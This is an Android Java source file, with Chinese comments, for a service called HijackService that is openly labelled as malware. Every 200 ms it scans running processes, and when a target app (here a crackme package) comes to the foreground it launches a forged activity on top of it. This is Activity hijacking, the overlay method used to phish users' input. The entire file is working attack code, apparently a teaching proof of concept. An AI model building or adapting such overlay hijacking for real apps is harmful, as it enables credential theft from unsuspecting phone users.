package com.example.evil;

import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import java.util.HashMap;
import java.util.List;

public class HijackService extends Service {

    //targetMap用于存放我们的目标程序
    HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
    Handler handler = new Handler();
    boolean isStart = false;

    //我们新建一个Runnable对象，每隔200ms进行一次搜索
    Runnable searchTarget = new Runnable() {
        @Override
        public void run() {
            //得到ActivityManager
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            //通过ActivityManager将当前正在运行的进程存入processInfo中
            List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
            Log.w("恶意软件", "遍历进程");
            //遍历processInfo中的进程信息，看是否有我们的目标
            for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
                //若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持
                if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                    if (targetMap.containsKey(_processInfo.processName)) {
                        // 调用hijack方法进行劫持
                        hijack(_processInfo.processName);
                    } else {
                        Log.w("进程", _processInfo.processName);
                    }
                }
            }
            handler.postDelayed(searchTarget, 200);
        }
    };

    //进行Activity劫持的函数
    private  void hijack(String processName) {
        //这里判断我们的目标程序是否已经被劫持过了
        if (((EvilApplication) getApplication())
                .hasProgressBeHijacked(processName) == false) {
            Log.w("恶意软件", "开始劫持"+processName);
            Intent intent = new Intent(getBaseContext(),
                    targetMap.get(processName));
            //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            //启动我们伪造的Activity
            getApplication().startActivity(intent);
            //将目标程序加入到已劫持列表中
            ((EvilApplication) getApplication()).addHijacked(processName);
            Log.w("恶意软件", "已经劫持");
        }
    }
    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        if (!isStart) {
            //将我们的目标加入targetMap中
            //这里，key为我们的目标进程，value为我们伪造的Activity
            targetMap.put("com.droider.crackme0201",
                    FakeMainActivity.class);
            //启动searchTarget
            handler.postDelayed(searchTarget, 1000);
            isStart = true;
        }
    }

    @Override
    public boolean stopService(Intent name) {
        isStart = false;
        Log.w("hijacking", "劫持服务停止");
        ((EvilApplication) getApplication()).clearHijacked();
        handler.removeCallbacks(searchTarget);
        return super.stopService(name);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}
